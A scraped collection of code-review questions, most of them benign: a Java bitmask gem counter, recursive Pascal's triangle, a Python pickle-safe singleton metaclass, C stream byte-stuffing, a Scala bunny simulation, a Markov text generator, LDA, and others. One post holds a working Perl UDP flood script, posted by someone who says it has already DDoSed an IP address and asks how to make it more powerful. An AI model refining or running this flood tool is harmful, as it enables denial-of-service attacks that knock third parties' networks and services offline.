    margin-right: 10px;
    padding: 8px;
    background: #CC0000;
    color: #F7F7F7;
    float:right;
}

.cv {
    float: left;
}
input[type=submit]{
    margin-top: 35px;
    padding: 9px;
    width: auto;
    text-align: center;
    cursor:pointer;
    font-family:  Georgia, arial, serif;
    font-size: 1em;
    color: #565463;
    background: #8CDED7;
    border: 2px solid #8CDED7;
    text-shadow: 0px 1px 0px #e5e5ee;
}

This works fine as I want: http://jsfiddle.net/4kWdQ/. But I would like to know, if putting a div in an unordered list is good practice or not? And anyway I can improve the CSS code?


texts: Diamond in the rough! Finding Gems in the rocks

texts:
Recently a question was asked that solved a hackerrank problem: Counting gems amongst the rocks

The description of the challenge is:

  John has discovered various rocks. Each rock is composed of various
  elements, and each element is represented by a lowercase Latin letter
  from 'a' to 'z'. An element can be present multiple times in a rock.
  An element is called a 'gem-element' if it occurs at least once in
  each of the rocks.

  Given the list of rocks with their compositions, you have to print how
  many different kinds of gems-elements he has.

  Input Format

  The first line consists of N, the number of rocks. Each of the next N
  lines contain rocks’ composition. Each composition consists of small
  alphabets of English language.

  Output Format

  Print the number of different kinds of gem-elements he has.

  Constraints

  \$1 ≤ N ≤ 100\$

  Each composition consists of only small Latin letters ('a'-'z'). 1 ≤ Length of each composition ≤ 100

  Sample Input

3
abcdde
baccd
eeabg

  Sample Output

2

  Explanation

  Only "a", "b" are the two kind of gem-elements, since
  these characters occur in each of the rocks’ composition.

I was in the process of writing an answer when the question was closed because the code in the question was failing to produce the right results.

My recommended solution to the problem is likely quite fast, but it is also relatively complicated. I am sure it can be improved, and simplified.

I have included a simple main method that shows how it can be used, and produces the sample output.

public class GemCounter {

    private static final int LETTERCOUNT = 26;

    // Start with 1 bit set for each element/letter.
    private int gemsSoFar = (1 << LETTERCOUNT) - 1;

    public GemCounter() {
        // default constructor. Does nothing.
    }

    public void processRock(final String rock) {
        int gotElement = 0; // no bits are set.
        for (int i = 0; i < rock.length(); i++) {
            int element = rock.charAt(i) - 'a';
            if (element >= 0 && element < LETTERCOUNT) {
                // bitwise OR the bit that represents the element
                gotElement |= 1 << element;
            }
        }
        // only bits that were found in this rock
        // and also that have been seen before
        // will remain set.
        gemsSoFar = gemsSoFar & gotElement;
    }

    public int getGemCount() {
        // count the number of bits that are still set.
        return Integer.bitCount(gemsSoFar);
    }

    public static void main(String[] args) {
        String[] rocks = {"abcdde", "baccd", "eeabg"};

        GemCounter gemcount = new GemCounter();
        for (String rock : rocks) {
            gemcount.processRock(rock);
            System.out.printf("Processed %s, got %d gems still%n", rock, gemcount.getGemCount());
        }

        System.out.printf("%d rocks have %d gems%n", rocks.length, gemcount.getGemCount());

    }

}


texts: Getting Pascal's triangle recursively in Python

texts:
I've been practicing recursion lately and wrote this code to get Pascal's triangle recursively.

How would you guys improve it ?

I don't really like the fact that the recursion goes for n+1 steps.

def RecPascal(n, m=1, prev=[]):
    if m > n+1:
        return []
    elif m == 1:
        return RecPascal(n, m+1 , [1])
    else:
        return [prev] + RecPascal(n, m+1, calculate(prev))

def calculate(prev):
    res = [0]*(len(prev)+1)
    res[0], res[-1] = 1, 1
    for i in range(0,len(res)):
        if res[i] == 0:
            res[i] = prev[i-1] + prev[i]
    return res

for line in RecPascal(10):
    print(line)


texts: Singleton metaclass for each argument set compatible with Pickle

texts:
I am creating a metaclass which ensures that instances of an actual class A are kind of singletons. But rather than having only single instance of A, I would like to have one instance per argument set given to A.
That is
class A(metaclass=ArgumentSingleton):
    pass

r = A()
s = A()
t = A(1)
u = A(1)
v = A('hi')

print(r is s)  # True
print(r is t)  # False
print(t is u)  # True
print(v is u)  # False
print(v is r)  # False

Moreover, the property of 'being a singleton' must survive pickling.
That is
a = A()

with open('tmp.pkl', 'wb') as f:
    pkl.dump(a, f)

with open('tmp.pkl', 'rb') as f:
    b = pkl.load(f)

print(a is b)  # True

For example Sympy is capable of doing that with their constants (such as pi) and I tried similar approach.
class ArgumentSingleton(type):
    _instances = {}

    def __new__(cls, name, bases, class_dict):
        def __init__(self, *args):
            self._args = args
            print('Here in __init__')

        def __reduce_ex__(self, protocol):
            return type(self), (*self._args,)

        init = '__init__'
        reduce = '__reduce_ex__'
        method_absence = [
            init not in class_dict,
            reduce not in class_dict
        ]

        if all(method_absence):
            class_dict[init] = __init__
            class_dict[reduce] = __reduce_ex__
        elif any(method_absence):
            raise ArgumentSingletonException(
                f"Either both methods '{init}', '{reduce}' are defined or "
                f"none of them in class: {name}"
            )

        new_class = super().__new__(cls, name, bases, class_dict)

        return new_class

    def __call__(cls, *args, **kwargs):
        key = (cls, *args, *kwargs.items())
        if key not in ArgumentSingleton._instances:
            ArgumentSingleton._instances[key] = super().__call__(*args, **kwargs)
        return cls._instances[key]

The code depends quite deeply (at least to my standards) on inner workings of Python and I am afraid of any hidden bugs and hidden problems.
The purpose of controling presence of __init__ and __reduce_ex__ is to explicitly move responsibility for __reduce_ex__ to the creators of the class A in case they decide to provide their __init__.
Any comments or suggestions appreciated!
So far, I am aware of the fact that the arguments must be hashable. That is not problem for me, as this construction is meant to speed up comparison of my complex hashable objects.


texts: Print out all possible sizes of subsequences of string in C

texts:
For example, given a string "abcdefghijk", I want my function to print out:

a, b, c, d, e, f, g, h, i, j, k.

ab, bc, cd, de, ef, fg, gh, hi, ij, jk

abc, bcd, cde, def, efg, fgh, ghi, hij, ijk

abcd, bcde

I'm sure there's a better way to do this than what I currently have. What are some optimizations I could do? Mostly in terms of speed performance, but any kind of optimization would be great; time, space, design, etc...

The commas don't matter much, it's the order that I worry about at this point, so that a, b, b, c, c, d, d, e, e, f, f, g, g, h, h, i, i, j, j, k is fine for the second line.

int main(int argc, char const *argv[])
{

    char* s = "abcdefghijk";
    int n = 11;

    for (int k = 0; k < n; k++)
    {
        for (int i = 0; i < n-k; i++)
        {
            for (int j = i; j <= i+k; j++)
                printf("%c, ",s[j]);
        }
        printf("\n");
    }

    return 0;
}


texts: Encoding arbitrary data for stream transmission

texts:
Basically, what this function should do is encode an arbitrary set of data in memory to a series of bytes that starts with 0x02, ends with 0x03, and encodes each instance of 0x02, 0x03, or 0x25 by preceding it with 0x25. It does this to make it safe for stream transmission, for example, a TCP socket. It returns a non-null-terminated array of char allocated with malloc (and therefore must be freed by the caller) and the length of the new array.

size_t encodedata(char** outdata, const void* data, size_t size)
{
    const char* dchr = data;
    size_t n = 2;
    for (size_t i = 0; i < size; i++)
        n += dchr[i] == 0x02 ? 2 : dchr[i] == 0x03 ? 2 : dchr[i] == 0x25 ? 2 : 1;

    char* encdata = malloc(n);

    encdata[0] = 0x02;
    encdata[n-1] = 0x03;

    for (size_t i = 0, j = 1; i < size && j < (n - 1); i++) {
        if (dchr[i] == 0x02 || dchr[i] == 0x03 || dchr[i] == 0x25)
            encdata[j++] = 0x25;
        encdata[j++] = dchr[i];
    }

    *outdata = encdata;
    return n;
}

The main function, which tests encodedata, runs without problems:

int main(int argc, char* argv[])
{
    char* out;
    char* in = "1" "\x02" "%" "\x03" "3";

    size_t n = encodedata(&out, in, 6);

    printf("size: %d\n", n);

    for (size_t i = 0; i < n; ++i)
        printf("%x ", out[i]);

    printf("\n");

    assert(n == 11);
    assert(out[0] == 0x02);
    assert(out[1] == '1');
    assert(out[2] == 0x25);
    assert(out[3] == 0x02);
    assert(out[4] == 0x25);
    assert(out[5] == 0x25);
    assert(out[6] == 0x25);
    assert(out[7] == 0x03);
    assert(out[8] == '3');
    assert(out[9] == 0x00);
    assert(out[10] == 0x03);

    free(out);
}


texts:
I am a Java programmer, and I just recently started learning Scala for fun. I found a group of projects here, and I tried to do the graduation excercise. The problem is, my code looks a lot like java, and I want to make this code more styled to fit scala, though I'm not sure what that entails. (Making it more functional?)

This is my main game class:

object Game {

  def main(args: Array[String]): Unit = {
    val list : ListBuffer[Bunny] = ListBuffer.fill(5)(BunnyFactory.getInitial)

    while(list.size != 0){

      var iterator = 0;
      //make sure we have one male for mating
      var males = 0;
      //keep track of females for mating
      var females : ListBuffer[Bunny] = new ListBuffer

      for(i <- list){
        i.update(list)

        if(i.dead){
              println(s"Bunny ${i.name} died at age ${i.age}!")
              list.remove(iterator)
        }
        else {
          if(i.gender == Gender.Male && i.adult){
            males += 1;
          }else if (i.gender == Gender.Female && i.adult){
              females += i;
          }
          println(i)
        }
        iterator += 1;
      }
      if(males >= 1){
        for(i <- females){

          val child = BunnyFactory.getChild(i);
          println(s"Bunny ${child.name} was born!")
          list += child
        }
      }
      println(s"There are ${list.size} bunnies!")

      Thread.sleep(500)
    }

  }
}

My Bunny class (I'm not sure if my variable naming follows conventions here):

class Bunny(inColor : Color.Value, inGender : Gender.Value, inAge : Int, inName : String, radioactive : Boolean){
    private val _color = inColor;
    private val _gender = inGender;
    private val _name = inName;
    private var _radioactive = radioactive;
    private var _age = inAge;

    def gender = _gender
    def age = _age
    def name = _name
    def adult : Boolean = {_age >= 2 && !(_radioactive)}
    def color  = _color

    def dead : Boolean = {
      if(_radioactive){
        _age > 50;
      }else{
        _age > 10;
      }
    }

    def infect : Unit = {_radioactive = true}

    def update(list : ListBuffer[Bunny]) : Unit = {
      _age += 1
      if(_radioactive){
         list((Math.random() * list.length).toInt).infect
      }
    }
    override def toString() : String = {
      return s"${_color} ${_gender} Bunny ${_name}, ${_age} years old, Radioactive: ${_radioactive}"
    }
}

Bunny Factory class:

object BunnyFactory {
    def getInitial : Bunny = {
      return new Bunny(
                    Color.getRandom,
                    Gender.getRandom,
                    0,
                    getName,
                    false)
    }
    def getChild(mom : Bunny) : Bunny = {
      val rand = (Math.random() * 100).toInt
      return new Bunny(mom.color, Gender.getRandom, 0, getName, rand <= 2)
    }
    val names : ListBuffer[String] = {
      val source = Source.fromFile("res/names.txt")
      val lines : List[String] = source.getLines.toList
      source.close
      lines.to[ListBuffer]
    }
    def getName : String = {
      val rand = (Math.random() * names.size).toInt
      return names(rand)
    }
}

Gender object:

object Gender extends Enumeration{
  type Gender = Value
  val Male, Female = Value

  def getRandom() : Gender = {
        val rand : Int = (Math.random() * values.size).toInt
        return this.apply(rand)
      }
}

Color object:

object Color extends Enumeration{
  type Color = Value
  val White, Brown, Black, Spotted = Value

  def getRandom() : Color = {
    val rand : Int = (Math.random() * values.size).toInt
    return this.apply(rand)
  }
}


texts: PHP framework building: initializer and object loader classes

texts:
I am building a PHP framework and would like to get some feedback on a few different sections of the project. I consider myself still a neophyte in PHP so I would like to ask if I'm going about completing these different tasks in an efficient and or correct way.

I have create two classes,  initializer and Loader. The initializer class setup the autoload for the including of the class scripts and the loader instantiates the object using Singleton pattern. I have include the code below.

Initializer class

    class Initializer{
    private static $extention = array('.core.php','.class.php');
    private static $directories = array('core/','controller/','model/');

    public static function loadClassFiles(){
        spl_autoload_register(array(__CLASS__,'autoload'));
    }

    private static function autoload($class){
        set_include_path(get_include_path().PATH_SEPARATOR.implode(PATH_SEPARATOR,self::$directories));
        spl_autoload_extensions(implode(',',self::$extention));
        spl_autoload($class);
    }

}

Loader Class

class  ObjectLoader{
    public static $objectsArray = array();

    public static function loadClass($object){
        if (empty(self::$objectsArray[$object])) {
            self::$objectsArray[$object] = new $object();
        }
        return self::$objectsArray[$object];
    }
}

Example of the classes being used.
Please Note: That class files with the extensions .core.php or .class.php are being looked for in directories core/, controller/ or model/.

Initializer::loadClassFiles();
$objectOne = ObjectLoader::loadClass('objectone');
$objectTwo = ObjectLoader::loadCLass('objecttwo');

I would like to know if this is a good way to go about it.


texts:
I need to get some information about the Pascal Triangle.

What is a pascal triangle ?

  It is a triangle of integers with 1 at the top and at the sides. Any number inside is equal to the sum of the two numbers above his. For
  example, here are the first 5 lines of the triangle:

So I need to figure out the number of numbers
pairs that exist in the first thousand lines of the triangle.

I would like to know how I can improve the performance of my code or rewrite some part that is poorly structured

import java.sql.Date;
import java.text.DecimalFormat;
import java.text.SimpleDateFormat;
import java.util.Vector;

public class PascalTriangle {

    private static int [][] matrix;
    private static int i, j, n;

    public static void main(String[] args)
    {

        long start_time = System.currentTimeMillis();

        n = 0; // Number of even numbers;

        matrix = new int[1000][1000];

        for (i = 0; i < 1000; i++) {
            for (j = 0; j < 1000; j++) {
                matrix[i][j] = 0;
            }
        }

        matrix[0][0] = 1;
        matrix[1][0] = 1;
        matrix[1][1] = 1;

        for (i = 2; i < 1000; i++) {
            matrix[i][0] = 1;
            matrix[i][i] = 1;
            for (j = 1; j < i; j++) {
                matrix[i][j] = matrix[i-1][j-1]+matrix[i-1][j];
                if ( matrix[i][j] % 2 == 0 ) {
                    n++;
                }
            }
        }

        System.out.println( "Amount of even numbers = " + n );

        long end_time  = System.currentTimeMillis();
        System.out.println(new SimpleDateFormat("ss.SSS").format(new Date(end_time - start_time)));

    }
}

Expected result:

Amount of even numbers = 448363

Currently taking a time of 00.011 seconds


texts: Lock-range code for Google Scripts/Sheets

texts:
This code locks a range and adds a timestamp. More details below. I'd like to learn how to make this code more efficient (minimize code/variables and reduce redundancy). Any thoughts on the areas I can improve?

function lockEdits(e) {

  // delcare initial col variable
  var colCheck = e.range.getLastColumn();

  // exit function if the col edited was not 11, 17, 20
      if (colCheck != 11 && colCheck != 17 && colCheck != 20) {
        return;
      }

  //  // delcare remaining variables
  var ss = e.source.getActiveSheet();
  var thisRow = e.range.getRow();
  var rngHeight = e.range.getHeight();
  var email = Session.getActiveUser().getEmail();
  var owners = ["owner1@test.com", "owner2@test.com"];
  var checkEmpty = ss.getRange(e.range.getRow(), colCheck).getValue();
  var rejectCheck = ss.getRange(e.range.getRow(), 17).getValue();

  // if change in col 11, enter user email and timestamp, then protect range
  if (colCheck == 11 && checkEmpty !== '') {
    var protection = ss.getRange(thisRow, 2, rngHeight, 10).protect().setDescription('Lock Range:');
    var nEmail = ss.getRange(thisRow, 21, rngHeight, 1);
    var nStamp = ss.getRange(thisRow, 22, rngHeight, 1);
    nEmail.setValue(email); // print email
    nStamp.setValue(new Date()); // print timestamp
    SpreadsheetApp.flush();
    protection.removeEditors(protection.getEditors()); // protect range
    if (protection.canDomainEdit()) {
      protection.setDomainEdit(false);
    }
    protection.addEditors(owners);
    SpreadsheetApp.flush();

    // if change in col 20, enter email and timestamp, then protect range
  } else if (colCheck == 20 && checkEmpty !== '') {
    var protection = ss.getRange(thisRow, 17, rngHeight, 4).protect().setDescription('Lock Range:');
    var vEmail = ss.getRange(thisRow, 23, rngHeight, 1);
    var vStamp = ss.getRange(thisRow, 24, rngHeight, 1);
    vEmail.setValue(email); // print email
    vStamp.setValue(new Date()); // print timestamp
    SpreadsheetApp.flush();
    protection.removeEditors(protection.getEditors()); // protect range
    if (protection.canDomainEdit()) {
      protection.setDomainEdit(false);
    }
    protection.addEditors(owners);
    SpreadsheetApp.flush();

    // if rejection in col 17, enter email and timestamp
  } else if (colCheck == 17 && rejectCheck == "Rejected") {
    var vEmail = ss.getRange(thisRow, 23, rngHeight, 1);
    var vStamp = ss.getRange(thisRow, 24, rngHeight, 1);
    vEmail.setValue(email); // print email
    vStamp.setValue(new Date()); // print timestamp
    SpreadsheetApp.flush();
  }
}

So a few notes on what this does:

This script is set up as an onedit trigger and this sheet is shared with multiple users.

If a user edits a cell in column K (11), then lock that row/range from columns B-K. Then also add the users email in column U and a timestamp in column V.
If a user edits a cell in column T (20), then lock that row/range from columns Q-T. Then also add the users email in column W and a timestamp in column X.
If a user edits a cell in column Q (17) to "Rejected", then just add the users email in column W and a timestamp in column X.

This works as-is, I'm just not sure this is the most efficient way to do it and I'm hoping those of you with more knowledge can help me fine-tune this a bit.

Let me know if any other info would be helpful in sorting this out!


texts: A simple Q and A quiz that reinforces Ruby learning

texts:
I wrote a simple quiz which I am hoping to scale-up as I continue to learn about programming.

The code now stores questions and answers in separate arrays.

Please review this code to improve its efficacy.

questions = []
answers = []
q0 = "What is the command for a 'for' loop?"
a0 = "for"
q1 = "What is another name for a method?"
a1 = "function"
q2 = "what are the three types of loops that I know of?"
a2 = "while, for, and until"

questions.push(q0, q1, q2)
answers.push(a0, a1, a2)

question_counter = 0
index = 0

while true
  puts questions[index]
  question_counter += 1
  answer_attempt = gets.chomp.downcase
  if answer_attempt == answers[index]
    puts "Good job. Next question.."
  else
    puts "Incorrect. Next question"
  end
  index = index + 1
  if question_counter == 3
    puts "all done"
    break
  end
end


texts: ConcurrentLinkedQueue to unmodifiable list

texts:
I have a ConcurrentLinkedQueue where I put some mails in. Now I have a visual page where I want to see what's in the Queue, but of course I do not permit that they alter the Queue in any way.

I put a getter, but instead of the Queue, I return a List. We know that the mail does disappear while we are watching, the use case permits that a refresh of the screen is enough to see the new status.

Code at the moment:

private final ConcurrentLinkedQueue<MimeMessage> mailsToSend = new ConcurrentLinkedQueue<MimeMessage>();

public List<MimeMessage> getMailsToSend() {
    return Collections.unmodifiableList(Lists.newArrayList(mailsToSend.iterator()));
}

I know, it's a very small code fragment and much review isn't there, but if there are better ways to convert it to an unmodifiable list, I'd like to hear it.


texts:
I have created code to show/hide data from a DB.  It works, but as I am new to jQuery, I would like to know if this is a good way.

HTML:

    <? echo $sn; ?>
    <? echo $last_change; ?>
    <? echo $comment; ?>
    <? echo $model_name; ?>
    <a class="more" data-name="<? echo $id; ?>" href="">+

jQuery:

$(function () {
    $(".more").live("click", function () {
    var onMe =$(this);
    var detailsConteiner = $(onMe).next('div');
    var forLoader = $(onMe).parent("li");

        if ($(onMe).text() == "+") {

            $(devInfo).children("span").css({"text-indent":"", "text-overflow":""});
            $(forLoader).fadeIn(400).prepend('');
            $(onMe).text("-")
            $(devInfo).css("background", "");
            $(forLoader).css("background", "#d6e5f4");
            $(onMe).siblings("span").css({"text-indent":"1000px", "text-overflow":"clip"});

            $(detailsConteiner).empty();
            $(details).slideUp(1000);

            var value = $(onMe).attr("data-name");
            var dataString = 'deviceId=' + value;

            $.ajax({
                type: "POST",
                url: "helpers/getDetails.php",
                data: dataString,
                cache: false,

                    success: function (html) {

                        $(detailsConteiner).prepend(html).slideDown(500);
                        $(forLoader).children("img").fadeOut(600);

                    }
            });
            return false;
        }
        else {

            $(details).slideUp(700);
            $(onMe).text("+");
            $(forLoader).css("background", "");
            $(onMe).siblings("span").css({"text-indent":"", "text-overflow":""});
            return false;
        }
    });
});

Ajax response:

Id: <? echo $id; ?>

Serial: <? echo $sn; ?>

Model: <? echo $model_name; ?>

Comment:<? echo $comment; ?>

Last Change<? echo date('d.m.Y', strtotime($last_change)); ?>

CSS:

.devInfo  img {
    margin-bottom:.25em;
    margin-left:1.25em;
    vertical-align:middle;
margin-left:25px;
 }

li.expanded {
    background-color: #d6e5f4;
}

li.expanded span {
    text-indent: -1000px;
    text-overflow:clip;
}

JS:

*function showDetails() // is not needed as the function insertDetails is doing job

function hideRestOfLI() {
         $(".details").slideUp(1000);
    }

function expand() {
        hideRestOfLI();
        $(".devInfo").removeClass(ExpandClass);
        $(".more").text(ColapsedChar);
        $devInfo.addClass(ExpandClass);
        $moreLink.text(ExpandedChar);

    }

 completed: hideLoading // complete: hideLoading


texts: Greedy algorithm in Ruby - any suggestions?

texts:
Here is my implementation of the greedy algorithim in Ruby. Do you have any suggestions?

class Greedy
  def initialize(unit, total, *coins)
    @total_coins = 0
    @unit = unit
    @total = total
    @currency = coins.sort
    @currency = @currency.reverse
    unless @currency.include?(1)
      @currency.push(1)
    end
  end
  def sort_coins
    @currency.each do |x|
      @pos = @total / x
      @pos = @pos.floor
      @total_coins += @pos
      @total -= x * @pos
      puts "#{@pos}: #{x} #{@unit}"
    end
    puts "#{@total_coins} total coins"
  end
end


texts: Searching for an object with spectific property, using user input

texts:
I have just started my adventure with C#. Below you can find a code written for my school assigment.

The homework task had 3 major elements:

building a class book
creating a metod for changing the static genre value and
creating a way to find specific object by properties.

All those elements are included.

I hope that more experienced members of community will have a short look at my code and share some tips and/or good practices, so I may improve.

class Book
{
    public string title { get; set; }
    public string Author { get; set; }
    public string publisher { get; set; }
    public int price { get; set; }
    public static string genre;

    public override string ToString()
    {
        string output = String.Format("Title :{0} \n Author :{1} \n Publisher :{2} \n Price {3}", this.title, this.Author, this.publisher, this.price);
        return output;
    }

    public static List<Book> myList = new List<Book>();
    private static void changegenre()
    {
        string mygenre = "Fantasy";
        genre = mygenre;
    }

    static void Main(string[] args)
    {
        changegenre();
        myList.Add(new Book() { title = "Hobbit", Author = "J.R.R Tolkien", publisher = "U & G", price = 34, });
        myList.Add(new Book() { title = "Two Towers", Author = "J.R.R Tolkien", publisher = "U & G", price = 55 });
        myList.Add(new Book() { title = "Opowiesci z meekhanskiego pogranicza", Author = "Robert M. Wegner", publisher = "Powergraph", price = 10 });
        myList.Add(new Book() { title = "A Dance with Dragons", Author = "G.R.R Martin", publisher = "Voyager Books", price = 25 });
        Console.WindowWidth = 95;
        Console.BackgroundColor = ConsoleColor.DarkMagenta;
        Console.WriteLine(" --------Welcome to our bookstore!-------");

        do
        {

            Console.BackgroundColor = ConsoleColor.Black;
            Console.WriteLine("Please write: \r\n a = if you want to search book by author, \r\n p = if you want to search book by price, \r\n pub - if you want to search by publisher or \r\n t- if you want to search by title");
            string input = Console.ReadLine();
            switch (input)
            {
                case "a":
                    searchbyauthor();
                    break;

                case "p":
                    searchbyprice();
                    break;
                case "pub":
                    searchbypublisher();
                    break;
                case "t":
                    searchbytitle();
                    break;

            }

            Console.WriteLine("Do you want to search again?");
        } while (Console.ReadLine().ToUpper() == "YES");
    }

    private static void searchbytitle()
    {
        Console.WriteLine("Please, write book's title!");
        string input = Console.ReadLine();
        foreach (Book result in myList.Where(x => x.title == input).ToList())
        {
            Console.WriteLine(result);

        }
    }

    private static void searchbypublisher()
    {
        Console.WriteLine("Please, write publisher's name!");
        string input = Console.ReadLine();
        foreach (Book result in myList.Where(x => x.publisher == input).ToList())
        {
            Console.WriteLine(result);

        }
    }

    private static void searchbyprice()
    {
        Console.WriteLine("Please, give me the maximum book price");
        string input = Console.ReadLine();
        int maxprice = Convert.ToInt32(input);
        foreach (Book result in myList.Where(x => x.price <= maxprice).ToList())
        {
            Console.WriteLine(result);
        }
    }

    private static void searchbyauthor()

    {
        Console.WriteLine("Please, write author's name!");
        string input = Console.ReadLine();
        foreach (Book result in myList.Where(x => x.Author == input).ToList())
        {
            Console.WriteLine(result);

        }
    }

}


texts:
I am looking for advice on how I can improve this code. The objective is to make a vanilla Markov Chain text generator in the most concise way. I'm looking for advice on style, naming, 'elegance', and correctness.

import random, re

with open("corpus.txt") as file:
    text = file.read().replace('\n', ' newline ')

text = re.sub(r'([\,\.\!\?\;\:])',r' \1 ',text)
text = re.sub(r'[^a-zA-Z0-9|\,|\.|\!|\?|\;|\:]',r' ',text)

text = [word.lower().strip() for word in text.split(' ') if word.strip() != '']

markov_chain = {}
for current_word, next_word in zip(text, text[1:]):
    markov_chain.setdefault(current_word, []).append(next_word)

current_word = random.choice(list(markov_chain.keys()))
sentence = []

for i in range(0,15):
    sentence.append(current_word)
    if current_word in markov_chain and len(markov_chain[current_word]) > 0:
        current_word = random.choice(markov_chain[current_word])
    else:
        break

print(' '.join(sentence).replace('newline', '\n').replace('\n ', '\n'))


texts:
I've recently finished writing a "simple-as-possible" LDA code in Python.

The theory from which I've developed my code can be found in the book Computer Vision by Simon Prince, free (courtesy of Simon Prince) pdf can be found on his website: http://computervisionmodels.com/ - Chapter 20 talks about LDA.
Applied to computer vision, he gives the notation i as the number of images, m as the number of parts or topics, and w as the words.

After re-doing the code today, I've found I get results which I expect (sorting a set of words into two or more topics). I've been comparing to other LDA code which is doing this more accurately and I'm wondering if the way I'm writing the code is making it inefficient. Any feedback appreciated :)

import numpy as np

corpus = open('corpus3.txt').read()

#Creatinig dictionary of unique terms, indexed and counted
dic = {}
arr=[]
arrv=[]
for item in corpus.split():
     if item in dic:
         dic[item] += 1
     else:
         dic[item] = 1

arr = dic.keys()
arrv= dic.values()
arrid=range(0,len(arr))

#Replacing actual words in doc with the word id's
Imgvv=[]
for w in corpus.split():
    for i in arrid:
        if w == arr[i]:
            Imgvv.append(i)

Imgv = [Imgvv] # Array of (array of) words in documents (replaced with id's)
Vocab = arr #Vocab of unique terms

I =  len(Imgv) #Image number
M = 2 # Part number - hardwired (supervised learning)
V = len(Vocab) #vocabulary

#Dirichlet constants
alpha=0.5
beta=0.5

#Initialise the 4 counters used in Gibbs sampling
Na = np.zeros((I, M)) + alpha     # umber of words for each document, topic combo i.e 11, 12,13 -> 21,22,23 array.
Nb = np.zeros(I) + M*alpha        # number of words in each image
Nc = np.zeros((M, V)) + beta      # word count of each topic and vocabulary, times the word is in topic M and is of vocab number 1,2,3, etc..
Nd = np.zeros(M) + V*beta         # number of words in each topic

m_w = [] #topic of the current word
m_i_w=[] # topic of the image of the word
#Filling up counters
for i,img in enumerate(Imgv):
    for w in img:
        m = np.random.randint(0,M)
        m_w.append(m)
        Na[i,m] += 1
        Nb[i] += 1
        Nc[m,w] += 1
        Nd[m] += 1
    m_i_w.append(np.array(m_w)) #creating a relationship between topic to word per doc

#Gibbs Sampling
m_i=[]
q = np.zeros(M)
for t in xrange(500): #Iterations
    for i,img in enumerate(Imgv): #in the Imgv matrix there are i documents which are arrays (img) filled with words
        m_w = m_i_w[i] #Finding topic of word
        Nab = Na[i] #Taking ith row of the Na counter (array)
        for n, w in enumerate(img): #in img there are n words of value w
            m = m_w[n]  # From the intialised/appended topic-word value we draw the "guessed" topic
            Nab[m] -= 1
            Nb[i] -= 1  #In Gibbs Samp. we compute for all values except the current (x,y) position
            Nc[m,w] -= 1 #So we move the counter of this positon down one, compute
            Nd[m] -= 1 #And then add one back after reloading the topic for the word

            q = (Nab*(Nc[:,w]))/((Nb[i])*(Nd)) # computing topic probability
            q_new = np.random.multinomial(1, q/q.sum()).argmax() # choosing new topic based on this
            m_w[n] = q_new      # assigning word to topic, replacing the guessed topic from init.

            Nab[q_new] += 1 #Putting the counters back to original value before redoing process.
            Nb[i] += 1
            Nc[q_new,w] += 1
            Nd[q_new] += 1

WordDist = Nc/Nd[:, np.newaxis]  # This gives us the words per topic

for m in xrange(M): #Displaying results
    for w in np.argsort(-WordDist[m])[:20]:
        print("Topic", m, Vocab[w], WordDist[m,w],arrv[w])


texts:
I am trying to make a ddos code, and that's what I got so far. I am trying to make it more efficient and powerful, just for testing purposes. I'm new and I was wondering if I could do that? Is there any way to make this better
My code ddosed the specfic ip adress until right now.
#####################################################
# DDOS.
######################################################

use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;

our $port = 0;
our $size = 0;
our $time = 0;
our $bw   = 0;
our $help = 0;
our $delay= 0;

GetOptions(
    "port=i" => \$port,     # UDP port to use, numeric, 0=random
"size=i" => \$size,     # packet size, number, 0=random
    "bandwidth=i" => \$bw,      # bandwidth to consume
"time=i" => \$time,     # time to run
    "delay=f"=> \$delay,        # inter-packet delay
"help|?" => \$help);        # help

my ($ip) = @ARGV;

if ($bw && $delay) {
  print;
  $size = int($bw * $delay / 8);
} elsif ($bw) {
  $delay = (8 * $size) / $bw;
}

$size = 256 if $bw && !$size;

($bw = int($size / $delay * 8)) if ($delay && $size);

my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);

($size ? "$size-byte" : "") . " " . ($time ? "" : "") . "\033[1;32m\033[0m\n\n";
print "Interpacket delay $delay msec\n" if $delay;
print "total IP bandwidth $bw kbps\n" if $bw;

die "Invalid packet size: $size\n" if $size && ($size < 64 || $size > 1500);
$size -= 28 if $size;
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  usleep(1000 * $delay) if $delay;
}


texts:
I have a program which basically manages batch runs of some underlying Fortran programs, and at the end, I want to move all the related files into a different directory.

At the moment, there is something along the lines of this:

private void finalClean() throws Exception{
  Script.move(file1, calcDir);
  Script.move(file2, calcDir);
  Script.move(file3, calcDir);
  ...
}

Now, the nature of these jobs is that they do not always run to completion, but the finalClean method is in the finally clause, so it is always run. The problem is, that depending on where the run fails, not all of the files are present, which means that if one of those files isn't present, it throws an exception, causing none of the remaining files to be moved. The files are not always created in the same order either, which means I can't just order them as they would be created and then not have to worry about remaining files, as they're not created.

My current solution to this is:

ArrayList<String> files_to_move = new ArrayList<String>();
files_to_move.add("file_name_1");
files_to_move.add("file_name_1");
files_to_move.add("file_name_1");
...

for(String file_name : files_to_move){
  try {
    Script.move(QNFiles.getProject(), file_name, calcDir);
  } catch (Exception ex) {
    Logger...blah.blah.blah;
  }
}

But I'm not overly pleased with how it looks. Is there a way to have a some kind of construct around the whole loop which just grabs all the exceptions, ignores them, and then throws an exception containing info on all of the others afterwards? Maybe a way I can temporarily ignore a subset of exceptions and deal with them all later, without having the try catch in the loop?

I don't use Java as much as Python anymore, so I suspect my wanting to neaten this up is a symptom of becoming used to that, but still: is there a better way to do this?


texts:
I've written my custom implementation of an f"" / .format(...). I started the project thinking it was going to be longer than three lines.

from typing import List, Union, AnyStr

def format_string(string: str, variables: List[Union[str, int, float, bool, complex]]) -> str:
    """
    Formats the passed string with the passed list of variables

    >>> format_string("Hello, [*]", ["Ben"])
    Hello, Ben

    :param string -> str: String to be formatted
    :param variables -> List[Union[str, int, float, bool, complex]]: List of variables to format into string

    :return str: Formatted string
    """
    for index, value in enumerate(variables):
        string = string.replace("[*]", str(value), 1)
    return string

My main question is if it's possible to make this a one-liner. It absolutely infuriates me that I have to use three. I spent a long time trying a mixture of * and ''.join to no avail. The code works, I would just like to shorten it up to one line. Of course, any and all feedback is appreciated and considered.

A secondary question is the method header. To represent variables, I have a List that can contain any types of variables. How would I go about representing this instead of having to list each type separately?


